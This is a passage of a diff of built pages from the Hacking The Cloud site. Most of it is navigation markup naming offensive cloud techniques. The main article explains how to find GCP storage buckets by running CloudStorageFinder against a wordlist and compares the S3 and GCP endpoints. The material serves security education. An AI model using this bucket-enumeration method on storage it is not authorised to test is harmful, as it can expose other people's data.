<a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1 checked> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=true> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Moses Frost (@mosesrenegade)</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/general-knowledge/gcp-buckets.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=hunting-gcp-buckets>Hunting GCP Buckets<a class=headerlink href=#hunting-gcp-buckets title="Permanent link">&para;</a></h1> <p>GCP Buckets are almost 100% identical to AWS S3 Buckets. </p> <p><em>Theory</em>: This call is based on OpenStack; maybe most cloud environments will be the same.</p> <p>Using @digininja's <a href=https://github.com/digininja/CloudStorageFinder>CloudStorageFinder</a> diff the following files:</p> <p><code>diff bucket_finder.rb google_finder.rb</code></p> <p>The main differences are the URLs:</p> <ul> <li>AWS Supports HTTP and HTTPS</li> <li><code>AWS S3</code> URLs: <code>http://s3-region.amazonaws.com</code>, i.e.: <code>http://s3-eu-west-1.amazonaws.com</code>.</li> <li>GCP Endpoint: <code>https://storage.googleapis.com</code></li> </ul> <p>How to find buckets using CloudStorageFinder:</p> <p>Create a wordlist with any name; in our example, it is <code>wordlist.txt</code>.</p> <p>$ <code>ruby google_finder.rb wordlist.txt</code></p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 13, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">May 29, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/gcp/general-knowledge/metadata_in_google_cloud_instances/index.html b/gcp/general-knowledge/metadata_in_google_cloud_instances/index.html
index 413e6abbe..8e1816632 100644
--- a/gcp/general-knowledge/metadata_in_google_cloud_instances/index.html
+++ b/gcp/general-knowledge/metadata_in_google_cloud_instances/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Information about the data an attacker can access via GCP's API endpoints"><link href=https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ rel=canonical><link href=../gcp-buckets/ rel=prev><link href=../security-and-constraints/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Metadata in Google Cloud Instances - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Metadata in Google Cloud Instances - Hacking The Cloud"><meta property=og:description content="Information about the data an attacker can access via GCP's API endpoints"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Metadata in Google Cloud Instances - Hacking The Cloud"><meta property=twitter:description content="Information about the data an attacker can access via GCP's API endpoints"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Information about the data an attacker can access via GCP's API endpoints"><link href=https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ rel=canonical><link href=../gcp-buckets/ rel=prev><link href=../security-and-constraints/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Metadata in Google Cloud Instances - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Metadata in Google Cloud Instances - Hacking The Cloud"><meta property=og:description content="Information about the data an attacker can access via GCP's API endpoints"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Metadata in Google Cloud Instances - Hacking The Cloud"><meta property=twitter:description content="Information about the data an attacker can access via GCP's API endpoints"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#metadata-endpoints class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 